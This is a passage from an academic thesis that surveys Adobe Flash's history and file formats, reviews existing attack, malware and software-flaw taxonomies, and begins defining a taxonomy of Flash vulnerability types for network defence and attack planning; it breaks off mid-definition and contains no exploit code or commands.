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ABSTRACT 
This thesis attempts to study and categorize vulnerabilities in common software 
packages.  This study results in a proposed taxonomy that will help in protecting 
vulnerable systems, in order to better enable Computer Network Defense operations.  
Additionally, this taxonomy will help focus further research in developing exploits aimed 
at these vulnerabilities, for use in Computer Network Attack and Exploitation operations.  
Throughout this study, Adobe Flash, a widely used Web browser plug in is used as a case 
study, due to the many known vulnerabilities and exploits tailored to Adobe Flash that 
exist. 
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I. INTRODUCTION  
Symantec recently highlighted Flash for having one of the worst security 
records in 2009. We also know first hand that Flash is the number one 
reason Macs crash. We have been working with Adobe to fix these 
problems, but they have persisted for several years now. We don’t want to 
reduce the reliability and security of our iPhones, iPods and iPads by 
adding Flash. (Jobs, 2010)  
Steve Jobs, in the above cited open letter concerning why he will not implement 
Adobe Flash on the iPad, iPhone, and various other Apple products, states an interesting 
fact.  According to many sources, Adobe Flash is the number one cause of computer 
exploits and vulnerabilities cross platform in the world today.  Given this, some research 
into Adobe Flash is needed, both in order to defend against these attacks, and possibly to 
craft tailored attacks and exploits. 
A. PURPOSE 
This thesis proposes a means of studying and categorizing vulnerabilities that 
exist in common software packages, as a means of showing the utility of studying 
vulnerabilities and the applications that can be applied to Computer Network Operations, 
to include not only Computer Network Defense, but Computer Network Attack and 
Computer Network Exploitation.   
As a case study, this thesis looks extensively at Adobe Flash, a widely used Web 
browser plug-in.  Because of the wide use of Adobe Flash, numerous vulnerabilities have 
been discovered, and in many cases exploited, making it an ideal candidate for study.  
This thesis will study the known vulnerabilities in Adobe Flash, and the various exploits 
tailored to take advantage of these vulnerabilities.  Further, this thesis will propose a 
taxonomy of these vulnerabilities in an attempt to logically categorize them.  Next, this 
thesis will investigate a small number of specific vulnerabilities, and some sample 
exploits targeted against these vulnerabilities. This thesis will statistically summarize the 
vulnerabilities in Adobe Flash from the recent past, in an attempt to determine which 
vulnerabilities are most common. Finally, this thesis will recommend mitigating  
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measures against these vulnerabilities, as well as recommendations for possible uses of 
attacks that can be leveraged in information warfare and psychological warfare style 
operations. 
1. History of Adobe Flash and Related Products 
Adobe Flash, formerly known as Macromedia Flash, is a multimedia medium that 
is used to embed interactive content, including animation, sound, and video into Web 
pages.  Adobe Flash is commonly used for advertisements and games. It has been cited as 
a tool that can be used for rich Internet applications (RIAs). It supports bi-directional 
flow of audio and video and it has the ability to monitor user input by the use of mouse, 
keyboard, microphone and camera. Adobe Flash contains an object-oriented scripting 
language called action-script. Flash content may be executed on a range of computer 
systems and devices.   
a. History of Adobe Flash and Development 
Adobe Flash was originally developed as SmartSketch, a pen drawing 
application for PCs, which morphed into Future Splash, a Java based animation engine 
that plugged into the Netscape Web browser.  Future Splash was sold to Macromedia in 
December of 1996, and became Macromedia Flash, the direct antecedent of all versions 
of Adobe Flash. As of 2001, Macromedia Flash was up to its fifth version, and by 2005, 
Macromedia Flash 8 had been released.  In a lightly ironic note, the persons behind 
SmartSketch and Future Splash originally tried to market it to Adobe, before it was sold 
to Macromedia. (Adobe, 2010) 
However, in 2005, Adobe finally expressed interest in acquiring 
Macromedia, and specifically, the Macromedia Flash application.  By the end of 2005, 
Macromedia was fully acquired by Adobe. The first version of Flash under the Adobe 
name was released in 2007 as Adobe CS3 Professional.  Adobe Flash CS4 Professional 
was released in 2008 and the latest version, Adobe Flash CS5 Professional was released 
in 2010 (Adobe, 2005). 
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The product that most people are more familiar with is the end user 
software, which integrates into most modern Web browsers, known as Flash Player.  The 
first released version was Macromedia Flash Player, in 1997, and new versions continued 
to be released as Macromedia Flash Player, up through Version 8, released in August 
2005.  The next version, after Adobe took over and acquired macromedia, was Adobe 
Flash Player 9 released in June 2006. 
b. Current Versions 
The current version of the developer software, released in 2010 is Adobe 
Flash CS5 Professional. Flash Player is on its tenth incarnation, Flash Player 10, which 
was released in October of 2008 (Adobe, 2008), and currently, as of August 2010, is on 
Version 10.1.  
2. Implementation and Market Penetration of Adobe Flash 
Accepted as the de facto standard for browser-based animations and movies, 
Adobe Flash has seen very strong market penetration throughout the world, with the 
notable exception of Apple products, such as the iPhone and iPad.  Other competitors 
include Microsoft Silverlight (notable for being used by Netflix for its instant video 
streaming service, as well as numerous other uses in political campaigns and other high 
profile uses (Netflix Uses Silverlight)), Java, and HTML5. 
a. Adobe Flash Implementation 
Adobe Flash is implemented on a wide variety of Web browsers via the 
Flash player; according to Adobe, Flash Player 10 (the latest version) has been installed 
on over 55 percent of computers worldwide. (2009) According to the journal “Adobe 
Lab,” (2010) one area Adobe has focused its attention is the exploitation of Rich Internet 
Applications (RIAs). With this development, they launched Adobe Integrated Runtime 
(AIR), a cross-platform runtime background that can be used to develop rich Internet 
applications that can be organized as a desktop function using Adobe Flash  
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b. Related Products That Use Embedded Versions of Flash 
Various different products use Adobe Flash as an imbedded player for 
video, sound, and animation.  Of particular note is Adobe Acrobat Reader, the default 
reader used to view documents in the Portable Document File format (.pdf).  Adobe Flash 
is generally installed alongside Adobe Acrobat Reader by default. 
c. Market Penetration of Flash and Related Products 
According to Adobe Labs reports (Adobe, 2010), Adobe Flash exceeds 
100 million installations globally.  Independent reports indicate greater the 95 percent 
market penetration of Web browsers with embedded Flash enabled (all versions).  This is 
often the result of installing Acrobat Reader, which installs Flash by default, leading to a 
Flash installation of which the user is completely unaware. (StatOwl Plugin Statistics) 
d.  Flash on Mobile Devices 
Flash penetration on mobile devices is significantly less.  Most mobile 
devices that support browser technology have Flash imbedded, with the notable exception 
of the iPhone/iPad.  The current version is Adobe Flash CS5 Professional and includes 
support for the iPhone and iPad.  However, in April of 2010, Apple published new 
developer guidelines that restricted the use of Flash on the iPhone, and iPad.  There is no 
technical reason that Flash will not work on the iPhone/iPad.  This has negative 
implications for exploits targeting the iPhone/iPad, as it does remove one area of 
vulnerabilities. 
e. Third Party Flash Software 
There are a number of third-party tools developed for use in modifying 
and creating Flash files.  Some of them are used for taking specific file types and 
converting them to Flash Player compliant files, others are used for direct authoring and 
editing of Flash Player files, and others are used to create Flash Player based Web sites. 
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B. IMPORTANCE 
As noted, the market penetration of Adobe Flash is widespread, both within and 
without the United States.  Also, Adobe Flash is a multi platform product, not specific to 
any one operating system.  As such, any vulnerabilities and exploits have a very wide 
potential list of targets and may be used to target many different networks worldwide. 
Further, given the capabilities inherent in Adobe Flash Player, this can be 
exploited to conduct unique attacks suitable for an Information Warfare/Psychological 
Operation Campaign.  If a vulnerability in Flash software is exploited to gain access to a 
computer system, then Flash software must exist on that system.  Additionally, given that 
many networks employ a homogeneous base software load for all or most systems 
attached to the network, it also a good assumption that Flash software is present on the 
other systems in the network.  Once the system is compromised, it is easy to leverage the 
existing Flash software on the system to deliver tailored psychological messages to that 
system.  Imagine that suddenly all the computers in a command center started playing, 
through the attached speakers, a recording similar to the Emergency Broadcast messages, 
directing all personnel to begin evacuation immediately, stressing that 'this is not a drill.'  
The result would most likely be that the command center was evacuated, leaving the 
command and control of friendly forces in chaos.  Similar attacks could be imagined with 
propaganda type messages or other such attacks.  This scenario is not out of reach, given 
the numerous vulnerabilities in Adobe Flash, the widespread user base, and the 
inventiveness demonstrated daily by persons involved in computer network operations. 
Another possible scenario, reflected in the 2008 real-world crash of SpanAir 
Flight 5022 (originally thought due to a malware infection of the planes network-based 
warning system) (MSNBC, 2010)  is for some vulnerability in Flash used to suborn a 
modern weapon system, and then play a video designed to cause the enemy commanders 




This thesis looked at numerous papers published in the computer security field for 
examples of vulnerability, exploit and malware taxonomies.  Then, the history of attacks 
and exploits specific to Adobe Flash were looked at in order to determine a workable 
taxonomy for Adobe Flash vulnerabilities.  A statistical survey of Adobe Flash 
vulnerabilities was completed, showing which vulnerabilities were more common.  Next, 
some specific historical vulnerabilities were examined more closely, to determine where 
they fit in this created taxonomy, and how they were used in creating exploits, in addition 
to how they could be used to deliver specific payloads.  Finally, this taxonomy, and the 
broader area of Adobe Flash vulnerabilities were looked at from the Department of 
Defense perspective, both in a Computer Network Defense (CND) and Computer 
Network Attack (CNA) role. 
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II. EXAMINATION OF ADOBE FLASH  
Adobe Flash commonly refers to both Adobe Flash, and Flash Player, the 
authoring tool and the player of created files, respectively.  The term Flash has evolved 
into mixed usage and can refer to the developer tools, the player, or the files themselves.  
A. FLASH AUTHORING TOOLS 
The current Flash authoring tool distributed by Adobe is Adobe Flash 
Professional CS5.  Previous versions still in use, include Adobe Flash CS3, released in 
2007 and Adobe Flash CS4 Professional, released in 2008.  Earlier versions are under the 
Macromedia brand, and are no longer supported.  Adobe Flex, also known as Adobe Flex 
Builder, is an integrated development environment built on Eclipse (an open source 
integrated software development environment, capable of developing Flash applications.  
There are also numerous third-party tools available for authoring Flash Player compatible 
files.  Some of these tools are Ajax Animator, hAxE, and SWiSH Max. Other third-party 
tools have been purchased by Adobe and/or Macromedia, and either incorporated into 
Flash or expanded and provided as alternate tools by Adobe.  One example of this is 
Breeze, which converts a PowerPoint presentation into a Flash Player compliant .swf file. 
B. FLASH PLAYER 
Adobe Flash Player is the software used to view movies and animations in a Web 
browser.  Flash Player is currently on version 10, and runs swf files created by the 
various authoring tools available.  Flash Player is available as a plugin for most common 
Web browsers (Firefox, Mozilla, Netscape, Opera) and as an ActiveX control for Internet 
Explorer1. Google Chrome has integrated Flash support.  Flash Player has support for 
bidirectional streaming of audio and video. Flash Player includes support for an 
embedded scripting language called ActionScript (AS), 
                                                 
1 Adobe Flash Player website, 2010, http://www.adobe.com/software/flash/about/.   
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C. ACTIONSCRIPT 
ActionScript is the Adobe developed scripting language used for the development 
of Websites and software for Flash Player.  It has the same basic syntax and semantics of 
JavaScript.  The current version is ActionScript 3.0, an object oriented programming 
language, used to build much more complex Flash applications, and is targeted for Flash 
Player 9 and later versions. 
D. ADOBE FLASH FILE FORMATS AND STRUCTURE 
Adobe Flash and Flash Player use many different file formats, depending on 
whether the specific file is meant for development or final use.  The two file formats of 
most interest are .swf and .fla.  These file formats are, respectively, the compiled end user 
version and the source version.  Understanding the file structure of files related to Flash 
and Flash Player is important, as malformed versions of these files are often used to 
exploit vulnerabilities.  
1. File Formats Used 
There are many differing file formats that are directly or indirectly related to 
Adobe Flash.  The file format of most interest is the .swf file.  SWF files are the files that 
deliver the exploits targeted towards specific vulnerabilities. 
.swf files are completed, compiled and published files that cannot be edited with 
Adobe Flash.  Numerous .swf decompilers exist, both freeware and commercial versions, 
as well as open source versions. Attempting to import .swf files using Flash allows it to 
retrieve some assets from the .swf, but not all. 
Next are .fla files, which contain source material for the Flash application. Flash 
authoring software can edit FLA files and compile them into .swf files. The Flash source 
file format is currently a binary file format based on the Microsoft Compound File 
Format. In Flash Pro CS5, the .fla file format is a zip container of an XML-based project 
structure.  .swf files, when processed by a swf decompiler, are decompiled to .fla files. 
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.xfl files are XML-based project files that are equivalent to the binary .fla format. 
Flash authoring software uses XFL as an exchange format in Flash CS4. It imports XFL 
files that are exported from InDesign and AfterEffects (two Adobe created tools for 
modifying video and adding interactivity to documents and presentations.). In Flash Pro 
CS5, the xfl file is a key file which opens the "uncompressed FLA" file, which is a 
hierarchy of folders containing XML and binary files. 
.as files contain ActionScript source code in simple source files. FLA files can 
also contain Actionscript code directly, but separate external .as files often emerge for 
structural reasons, or to expose the code to versioning applications. They sometimes use 
the extension .actionscript. 
.mxml files are used in conjunction with ActionScript files (and .css files), and 
offer a markup-language-style syntax (like HTML) for designing the GUI in Flex. Each 
MXML file creates a new class that extends the class of the root tag, and adds the nested 
tags as children or members of the class. 
.swd files are used during development as debugging files. 
.asc files contain Server-Side ActionScript, which is used to develop efficient and 
flexible client-server Macromedia Flash Communication Server MX applications. 
.abc files contain actionscript bytecode used by the Actionscript Virtual Machine 
AVM and AVM2, dependent on the version of Flash Player used. 
.flv files are Flash video files, with audio and video data encoded as it is in .swf 
files. 
.f4v files are similar to MP4 files and can be played back by Flash Player 9 
Update 3 and above. F4V file format is second container format for Flash video and it 
differs from FLV file format. It is based on the ISO base media file format. There are 
variations of this file type, including .f4p, .f4a, and .f4b, all of which adhere to the same 
basic .f4v format. 
.swc files are used for distributing components; they contain a compiled clip, the 
component's ActionScript class file, and other files that describe the component. 
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.jsfl files are used to add functionality in the Flash Authoring environment; they 
contain JavaScript code and access the Flash JavaScript API. 
.swt files are .swf files in template form, much the same as templates for word 
processing and other similar forms. 
.flp files are XML files used to reference all the document files contained in a 
Flash Project. Flash Projects allow the user to group multiple, related files together to 
assist in Flash project organization, compilation and build. 
.aso files are cache files used during Flash development, containing compiled 
ActionScript byte code. An ASO file is recreated when a change in its corresponding 
class files is detected 
.sol files are created by Adobe Flash Player to hold Local Shared Objects (data 
stored on the system running the Flash player). 
2. SWF File Structure 
SWF files are stored in files with the extension .swf.  The content type identifier 
used in Internet applications (known as the MIME type) is application/x-shockwave-
flash.  SWF files are binary files stored as 8-bit bytes. The container format consists of a 
header block, followed a series of tagged data blocks. All tags share a common format, so 
any program parsing a SWF file can skip over blocks it does not understand. Data inside 
the block can point to offsets within the block but can never point to an offset in another 
block. This ability enables tags to be removed, inserted, or modified by tools that process 
a SWF file. 
There are two types of tags in a SWF file, Definition and Control tags.  Definition 




III. VULNERABILITY, EXPLOIT, AND MALWARE 
TAXONOMIES 
In defending against computer-based attacks, it is helpful, and even necessary to 
have a means of classifying and categorizing the attacks, such that these attacks can be 
more easily defended against by prioritizing the defenses against specific types of attacks.  
In addition, reliable and rigorous categorizing of exploits will greatly enhance further 
investigation into undiscovered vulnerabilities and future exploits. Weber, Karger, and 
Paradkar, in their paper entitled "A Software Flaw Taxonomy: Aiming Tools At 
Security" and discussing how security software builders worked on creating more secure 
systems, put it thus (Weber, 2005): 
In order to target their technology on a rational basis, it would be useful 
for tool-builders to have available a taxonomy of software security flaws 
organizing the problem space. 
Also, from a CNA point of view, a taxonomy of security flaws in software is 
helpful in creating successful attack software, designed to exploit the common security 
flaws. 
In order to determine a useful taxonomy, first a number of taxonomies in 
computer security literature are examined, and then a taxonomy  based on a combination 
of the examined taxonomies is proposed and further defined.  In the following chapter, 
this proposed taxonomy will be used to classify some known vulnerabilities in Adobe 
Flash. 
First, though, what is a taxonomy?  From Berghe, Riordans and Piessens paper on 
vulnerabilities in Web services (2005):  
A taxonomy is a “classification, including bases, principles, procedures 
and rules”.... The definition suggests that a taxonomy is more than a 
classification, in the sense that it also describes the principles according to 
which the classification is done and the procedures to be followed in order 
to classify new objects 
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More specifically, though, a taxonomy is the science of classification, including 
the general principles by which objects and phenomena are divided into classes which are 
subdivided into subclasses, then into sub-subclasses, and so on.  Here, we will try and 
provide a means of classification of vulnerabilities, in this case, vulnerabilities specific to 
Adobe Flash. 
A. SAMPLE TAXONOMIES  
Various taxonomies for classifying and categorizing malware, exploits, and 
vulnerabilities have been published and proposed in academia and industry; it is helpful 
to examine these different taxonomies to determine a best means for classifying 
vulnerabilities within Adobe Flash.  Even though this paper focuses on categorizing 
vulnerabilities, it is useful to investigate taxonomies for exploits and of malware, as well, 
to get a sense of how to best classify related items. Five separate taxonomies are 
examined in detail; the Mirkovic, Martin, and Reiher Taxonomy of DDoS Attacks 
(2001), the Rutkowska Taxonomy of Malware (2006), the Barracuda Labs JavaScript 
Malware Taxonomy ( 2009), the Mitre Corporation's Malware Attribute and Enumeration 
Characterization (2010) and a software flaw taxonomy published by IBM (Weber, 2005) .  
Each of these taxonomies provide some useful information that can be applied towards 
creating a taxonomy for vulnerabilities. 
1. Mirkovic, Martin, and Reiher Taxonomy of DDoS Attacks 
Mirkovic, Martin, and Reiher (MMR) of the Computer Science Department of 
UCLA published, in 2002, an attempt at a well-defined taxonomy of Distributed Denial 
of Service attacks and defenses against the same (Mirkovic, 2001).  While somewhat 
dated at this point and specific to DDoS attacks, it provides a good example of how to 
categorize both attacks and defenses.  Their model could easily be applied to attacks and 
vulnerabilities within Adobe Flash.  Their  proposed taxonomies are complete in  the 
following  sense:  the  attack  taxonomy covers known attacks and also those  that  have  
not currently  appeared  but  are potential threats that would affect current  defense 
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mechanisms; the defense systems taxonomy covers not only published approaches but 
also some commercial approaches  that are  sufficiently documented to be analyzed. 
(MMR) 
a. Taxonomy of DDoS Attacks 
MMR's taxonomy of DDoS attacks, as can be seen in the figure below, 
uses four different categories to broadly classify DDoS attacks:  by degree of automation, 
by exploited vulnerability, by attack rate dynamics, and by impact. 
(1)  Degree of Automation.  During the attack preparation, the 
attacker needs to locate prospective agent machines and infect them with the attack code.  
Based on the degree of automation of the attack, MMR differentiates between manual,  
semi-automatic  and  automatic  DDoS attacks.  Most of the DDoS attacks that occur 
today are of the semi-automated variety; that is, the attacker uses a large network of 
controlled machines, and remotely begins the attack, but does not directly control the 
attacking machines.  This method of classification is perhaps not so useful for the 
purposes of this thesis. 
(2)  Exploited Vulnerability.  This method of classification by 
MMR differentiates the attack based on the exploited vulnerability, further breaking it 
down into brute force attacks versus protocol exploitation attacks.   
Protocol  attacks  exploit  a  specific  feature  or implementation  bug  of  
some  protocol  installed  at the victim  in order to consume excess 
amounts of its  resources.  Examples  include  the  TCP  SYN attack,  the  
CGI  request  attack  and  the authentication server attack. (MMR) 
Although this paper investigates Flash vulnerabilities and attacks, 
this method of classifying attacks, similar to the way MMR classifies protocol attacks, 
will prove useful for the purposes of this thesis, though the classification system would 
need to vary. 
(3)  Attack Rate Dynamics.  This method classifies the attacks by 
the rate dynamics, with continuous versus variable being the major divisions.  This is 
perhaps an attribute specific to DDoS attacks and will not prove useful for classifying 
attacks on Adobe Flash. 
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(4)  Impact.  The final method MMR uses to classify DDoS attacks 
is by impact, dividing attacks into degrading and disrupting.  This is a useful method to 
classify many attacks, with modifications from the DDoS specificity of it. 
 
Figure 1.   MMR DDoS Taxonomy (From Mirkovic, 2001) 
b. Taxonomy of DDoS Defenses 
MMR categorizes DDoS defenses, by activity level, and by location.  This 
makes for an easy taxonomy to classify defenses, and should be applicable to all systems 
of defenses.  While this is not directly applicable to classifying Adobe Flash 
vulnerabilities and exploits, it does provide a look at the opposite side of categorizing 
attacks:  that of categorizing defenses.  
(1)    Activity Level.  This is divided into preventive and reactive 
mechanisms, and then further divided based individual factors.  Preventive mechanisms 
are classified based on the goal of the mechanism, whether it is attack prevention, or DoS 
prevention.  Reactive mechanisms are classified by detection strategy, then further 
subdivided into pattern recognition, anomaly detection, hybrid versions of those two, or 
third party mechanisms, and then also classified by response strategy, such as rate 
limiting, agent identification, filtering, and reconfiguration. 
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(2)   Deployment Location.  This is divided into victim, 
intermediate, and source networks. This comes into play when classifying defenses as 
network or host based and could be easily used to classify attacks as host based, network 
based, or remote based. 
 
Figure 2.   MMR DDoS Defense Taxonomy (From Mirkovic, 2001) 
c. Usage of the MMR Taxonomy 
The MMR taxonomy can be used, with some modifications as a system 
for classifying attacks on Adobe Flash.  The usefulness as a means of classifying Flash 
vulnerabilities is less, although it does provide some possible thoughts into classifying 
different vulnerabilities based on various means. 
2. Rutkowska Taxonomy of Malware 
In early 2006 at the Black Hat Federal Conference, J. Rutkowska introduced a 
proposed classification of malware, which she later expanded, and published as a short 
paper in November of 2006, defining four distinct categories of malware, Type O, I, II, 
and III, defined by how said malware interacts with the operating system, the user, the  
 16
kernel, and the various processes (2006). One note, the definition of malware that 
Rutkowska uses is different from the definition used by other people; her definition is as 
follows: 
Malware is a piece of code which changes the behavior of either the 
operating system kernel or some security sensitive applications, without a 
user consent and in such a way that it is then impossible to detect those 
changes using a documented features of the operating system or the 
application (e.g. API). (Rutkowska, 2006) 
As can be seen by the definition above, Rutkowska's is not the same as the 
definition used by the majority of the community; as so stated in her paper: 
e.g. the simple botnet agent, coded as a standalone application, which does 
not hook OS kernel nor any other application, but just listens for 
commands on a legally opened (i.e. opened using documented API 
functions) TCP port, would not be classified as malware by the above 
definition. (Rutkowska, 2006) 
Rutkowska goes on to state, however, that she includes the above types of 
malicious software in her definition of Type O Malware.  It is an interesting distinction 
she makes, but not important to this thesis.  Rutkowska's methods of classifying malware 
provide some insight into an alternative method of classifying malware based on which 
parts of the computer system the malware interacts with. 
a. Type of Malware 
Rutkowska categorizes malware into four separate categories, as defined 
by the following: 
Type O Malware: defined as malicious software which does not interact 
with any part of the operating system (nor other processes) using any undocumented 
methods. 
Type I Malware: defined as malware that modifies resources that were 




code, device drivers, and other such files.  This type of malware is (relatively) easily 
detected if digital signatures of these immutable files are available, and are checked 
against a secure database. 
Type II Malware: defined as malware that modifies dynamic resources, 
such as data, in order to allow the attacker’s code to get executed.  An example of this 
would be modifying function pointers in the kernel.  This type of malware is more 
difficult to detect, in that the files/data being modified are meant to be modified on a 
regular basis, and thus, not able to be checked against a database. 
Type III Malware: defined as malware that could take control of the entire 
O/S, without changing a single byte in the system's memory or visible hardware registers.  
This type of malware is most insidious, in that it cannot be detected by any form of 
integrity scanning. 
b. Usage of Rutkowska's Taxonomy 
Rutkowska's taxonomy will serve as a very useful method of categorizing 
how specific instances of malware interact with a computer system, and can be used as a 
secondary classification system for malware. 
3. Barracuda Labs Malware Taxonomy 
In 2009, Barracuda Labs, a division of Barracuda Networks, a leading provider of 
network and host-based anti-virus software, published, in their annual report, a useful and 
interesting taxonomy of Web-based malware (2009).  Their taxonomy, as seen in Figure 





Figure 3.   Barracuda Labs Javascript Malware Taxonomy (From Barracuda Labs, 
2009) 
The division of Javascript Malware into Human Exploits and Software Exploits 
demonstrates that not all exploits need to be human enabled, but that certainly is a good 
method of dividing exploits into descriptive categories. 
a.   Human Exploits 
Human exploits, while not the subject of this paper, do provide some 
insight into means of attacking computer networks, and the further division into various 
categories gives more sample means of categorizing Adobe Flash vulnerabilities.  Per 
Barracuda Labs,  
Human exploits are attacks that target a person’s understanding and trust 
on the Internet. These attacks convince people to perform an unintended 
action. These include social engineering and search result poisoning. 
Social engineering is widely used in the form of Rogue AV distribution. 
Attackers convince users that their computers are infected by viruses and 
then offer a free evaluation version of the fake antivirus software. 
However, once the user installs, the attackers demand money to make the 
“antivirus” work or even remove the software from the system. Many 
users fall prey to this attack, thus successfully monetizing a social 
engineering attack. (Barracuda Labs, 2009) 
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For the purposes of this paper, human exploits are those exploits that rely 
primarily on human enablement of an attack, more than merely getting someone to visit a 
particular Website, and as such, are not the primary focus. 
b.   Software Exploits 
Software-based exploits, as per the Barracuda Labs taxonomy provide a 
more interesting look into ways of classifying attacks and vulnerabilities.  The Barracuda 
Labs taxonomy categorizes software vulnerabilities into browser vulnerabilities, browser 
helper object vulnerabilities, client application vulnerabilities, and Web application 
vulnerabilities.  Adobe Flash Player is categorized as a Browser Helper Object, and thus, 
vulnerabilities in Flash Player correctly fall under the browser helper object 
vulnerabilities category.  
c. Usage of the Barracuda Labs Taxonomy 
Although specifically crafted for JavaScript malware, the Barracuda Labs 
taxonomy provides a strong framework for classifying malware based on what specific 
part of the system the vulnerability that is being exploited exists in.  For the purposes of 
this paper, however, Flash Player vulnerabilities and exploits fall into a single grouping 
in the Barracuda Labs taxonomy, and thus, the taxonomy is not particularly helpful. 
4. MITRE Corporation Malware Attribute Enumeration and 
Characterization (MAEC) 
In 2010, Kirilov, Chase, Beck, and Martin, of the MITRE Corporation published a 
paper in an almost exhaustive effort to systematically characterize malware in a 
framework based on its behaviors and attributes, known as the "Malware Attribute 
Enumerations and Characterization" (MAEC). (MITRE Labs, 2010)  This framework 
provides a well-designed model useful in designing a taxonomy for Adobe Flash 
vulnerabilities. 
MAEC’s main function is to serve as a standard method of characterizing 
malware based on its behaviors, artifacts, and attack patterns. This will 
allow for the description and identification of malware based on distinct 
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patterns of attributes rather than a single metadata entity (which is the 
method commonly employed in signature-based detection). (MITRE Labs, 
2010) 
a. Basic Format of MAEC 
MAEC is defined by three tiers of enumerations of malware attributes (see 
Figure 4).  Each tier consists of a finite number of attributes and 
 
Figure 4.   MAEC Enumeration of Malware Attributes (From MITRE Labs, 2010) 
b. Low-Level Attributes 
In the MAEC classification system of malware, the low-level attributes are 
those characteristics of the malware tied to basic functionality and low-level operation. 
This includes such observable characteristics and actions of the malware like system state 
changes (e.g., the insertion of a registry key) and modification of low level system files, 
as well as any features extracted through the disassembly of malicious binaries (e.g.,  
specific assembly instructions). Sources of such data include static analysis of the 
malware code, and dynamic analysis of malware behavior through sandboxes, virtual 
machines network and host-based intrusion detection and prevention systems. 
c. Mid-Level Behaviors 
Mid-level behaviors, according to the MAEC classification, are the 
reasoning behind the low-level attributes; the 'why', in other words.  They serve as an 
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abstraction of the low-level attributes in order to better give insight into the consequences 
of the said behavior.  In continuance of the example above, a piece of malware may insert 
a new registry key.  The mid-level behavior that results is that the malware is loaded on 
system start up.  This is the reasoning behind the low-level behavior, and thus, the mid- 
level behavior.  
d. High-Level Taxonomy 
The high-level taxonomy, in the MAEC classification, is the actual 
taxonomy of the malware, the assigning of a specific category to it, based on standardized 
naming conventions.  This allows clusters of mid-level behaviors in a specific piece of 
malware to be grouped together and named based on their overall goal, or pattern.   For 
example, the low-level attribute of insertion of a registry key led to the mid-level 
behavior of load on start up, which belongs (along with other behaviors with the same 
purpose) to the part of the malware called the persistence mechanism.  A similar example 
showing the three levels is shown in Figure 5.  The two low-level attributes of Insert 
registry Key and Call Win32 API Function lead to the mid-level behavior of Disable 
Security Service, which comprises the high-level taxonomy of Self-defense. 
 
 
Figure 5.   Example of Structure Imparted Through MAEC Schema (From MITRE 
Labs, 2010) 
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e. Test Cases for MAEC 
In their paper, MAEC was used to classify two recent examples of 
malware, the Conficker.A worm and the Conficker.B worm.  These two worms were both 
highly analyzed in the computer security and provided much opportunity for MAEC to 
show its usage.   This resulted in some improvements in MAEC and left some open 
questions, as well, including the note that low-level attributes can extend beyond actual 
observables.  
f. Usage of MAEC 
MAEC, although still unfinished, provides a strong framework in which to 
help classify and analyze malware, and investigate the various attributes and functions of 
malware. When used within a larger system of malware characterization, MAEC could 
provide a robust analysis tool for malware investigation. 
5. A Software Flaw Taxonomy: Aiming Tools At Security 
Weber, Karger, and Paradkar, of the IBM Research Division produced a useful 
taxonomy of software flaws, stating the lack of, and the need for such a taxonomy 
succinctly as follows: 
In order to target their technology on a rational basis, it would be useful 
for tool-builders to have available a taxonomy of software security flaws 
organizing the problem space. Unfortunately, the only existing suitable 
taxonomies are sadly out-of-date, and do not adequately represent security 
flaws that are found in modern software. In our work, we have coalesced 
previous efforts to categorize security problems as well as incident reports 
in order to create a security flaw taxonomy. (Weber, 2005) 
Weber, Karger, and Paradkar make the case for such a taxonomy, and provide a 
useful framework for a sample taxonomy, one that can be applied in developing similar 
tools.  Their proposed taxonomy, shown in Figure 6, divides software flaws into 
intentional and unintentional flaws, based on a wider view of all software.  This paper is 
only focused on the unintentional flaws, using the assumption that Adobe Flash, a 
software suite designed by a reputable corporation, and in wide use, would not include 
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intentional flaws in their software.  It does, however, make for an interesting take on 
software flaws, if one is has reason to believe intentional software flaws leading to 
possible vulnerabilities exist. 
 
Figure 6.   Weber, Karger, Paradkar Software Flaw Taxonomy (From Weber, 2005) 
B. PROPOSED VULNERABILITY TAXONOMY 
Based on the examples given, a taxonomy of vulnerabilities specific to Adobe 
Flash can be derived by combining attributes from the different sample taxonomies.  The 
proposed taxonomy given below focuses on how a vulnerability interacts with the 
system, the end result of an exploited vulnerability, and the protection status of a 
vulnerability.  
When investigating and classifying vulnerabilities, there are three areas of major 
concern:  first, what technique is used to exploit this vulnerability; second, what is the  
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end result of this vulnerability being exploited; third, what has been and/or is being done 
to patch this vulnerability. This paper will provide a means for classifying each of these 
areas in the following manner. 
1. Vulnerability Type 
There are numerous differing vulnerabilities that exist in software; some of these 
vulnerability types are specific to Adobe Flash, and some are more generic.  For this 
proposed vulnerability taxonomy, there are ten distinct categories or types of 
vulnerabilities into which individual Flash vulnerabilities can be organized, as follows. 
a. Unknown 
Occasionally, when an attack is first discovered, the means of attack is 
unknown, and the only information that can be determined is that a new, previously 
undiscovered vulnerability is being exploited.  At this time, the vulnerability type is 
generally unknown.  This is closely linked with the Protection status category of 'Zero-
Day'. 
b. Buffer Overflow 
A buffer overflow is a program error that occurs while writing data to a 
buffer.  The data overruns the buffer's boundary and overwrites adjacent memory. Buffer 
overflows can occur in numerous places throughout the program, and can be within the 
stack, or the heap, depending on how the specific program and the operating system 
allocates memory. This usually results in erratic program behavior to include a breach of 
security, and usually a crash of the running program, but system crashes are also a 
possibility.  The end goal of the attacker often helps determine whether a system crash is 
a positive outcome, or not, for the attacker. 
c. Memory Corruption 
Memory corruption generally occurs when the contents of a memory 
location are modified outside the normal parameters of the running program.  This can 
 25
occur unintentionally, but for the purposes of vulnerability classification, only the 
intentional memory corruption occurrences are examined and classified. If the corrupted 
memory contents are accessed, it leads either to program crash or to unanticipated 
behavior, to include security compromises. 
d.   Integer Overflow 
Integer overflow occurs when an arithmetic operation attempts to create a 
numeric value that is larger than can be represented within the available storage space. 
For example, a 16 bit unsigned integer can range up to a maximum value of 65,535.  If a 
high enough value is added to said integer, it can 'wrap-around', causing the integer to 
now register as 1, or 0, or some other value, corresponding to how much was added.  The 
resulting integer change may be to a completely unexpected value, one that the program 
did not account for, and can trigger the underlying security vulnerability. 
e.   Invalid Pointer/Pointer Control 
Poor pointer control in software may result in an invalid pointer. ,  This 
occurs when a pointer is referenced, but the pointer has been given an invalid value, that 
points to some location that is normally out of bounds. In this taxonomy, uninitialized 
pointers also fall into this category. This can occur either due to poor programming, or 
malicious intent, and can lead to security vulnerabilities and breaches. 
f.   Input Validation 
Input validation vulnerabilities are caused by failure of the program to 
check input for valid characters and sequences.  In some cases, enough machine code to 
suborn the system may be inserted via poor input validation, and in other cases, the 
program can be sent to entirely different areas of memory, resulting in crashes and 
security breaches. 
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g.   Clickjacking Vulnerability 
Clickjacking is a technique via which malicious programs can cause a user 
to click on benign links and messages, which in reality send the user to a malicious 
Website, or modify some settings in the computer.  Clickjacking vulnerabilities can result 
in system subornment and other security breaches.  
h.   Cross Site Scripting 
Cross-site scripting is a vulnerability found in Web applications that 
